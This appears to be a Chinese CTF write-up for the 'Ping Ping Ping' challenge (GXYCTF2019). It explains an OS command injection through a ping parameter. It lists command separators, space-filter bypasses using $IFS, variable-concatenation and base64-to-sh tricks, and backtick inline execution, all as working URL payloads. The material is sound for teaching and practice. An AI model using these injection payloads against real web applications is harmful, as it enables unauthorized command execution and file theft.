zoukankan      html  css  js  c++  java
  • [GXYCTF2019]Ping Ping Ping 命令注入+变量拼接

    看到了ip再来结合题目,得知是要ping了。这里我们可以运用命令链接符,进行命令的执行,漏洞的起因还是没将用户的输入进行过滤就进行了拼接,所以才会有这样的情况;

    我们嵌入/?ip=127.0.0.1;ls 这里解释一下 ' ; ' 的原因' ; ' 作为命令链接符号的一种,表示执行完前面的命令之后接着执行后面的命令,顺接的关系;

    除此之外还有一些命令连接符有:& %0a %0d | || 等等,

     

    输入?Ip=127.0.0.1;ls

     

    ?ip=127.0.0.1;cat flag.txt

     

    发现过滤,绕过空格

    < <> %20 %09 $IFS$9 IFS IFS 

    $IFS是bash中的内部域分隔符,可以代替空格至于后面的$9数字是可以随意的

    输入?ip=127.0.0.1;cat%20flag.txt

     

    发现过滤flag

    查看index.php

    ?ip=127.0.0.1;cat$IFS$9index.php

     

    发现过滤了,参考绕过

    1. cat fl* 利用*匹配任意 不行
    2. 2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
    3. 3.ca flag.php
    4. 不行4.cat fl''ag.php 不行

    变量拼接

    我们看到源码中有一个$a变量可以覆盖

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

     

    官方:

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

    可利用内联

    cat$IFS$9`ls`

     

  • 相关阅读:
    Lc5413_重新排列句子中的单词
    Lc5412._在既定时间做作业的学生人数
    Lc520_检测大写字母
    threadPoolExecutor的参数和拒绝策略
    coutdownlatch的使用
    volatile的个人理解
    Lc292_Nim 游戏
    Lc136_只出现一次的数字
    lc88_合并两个有序数组
    jdk源码_String(1)
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12737734.html
Copyright © 2011-2022 走看看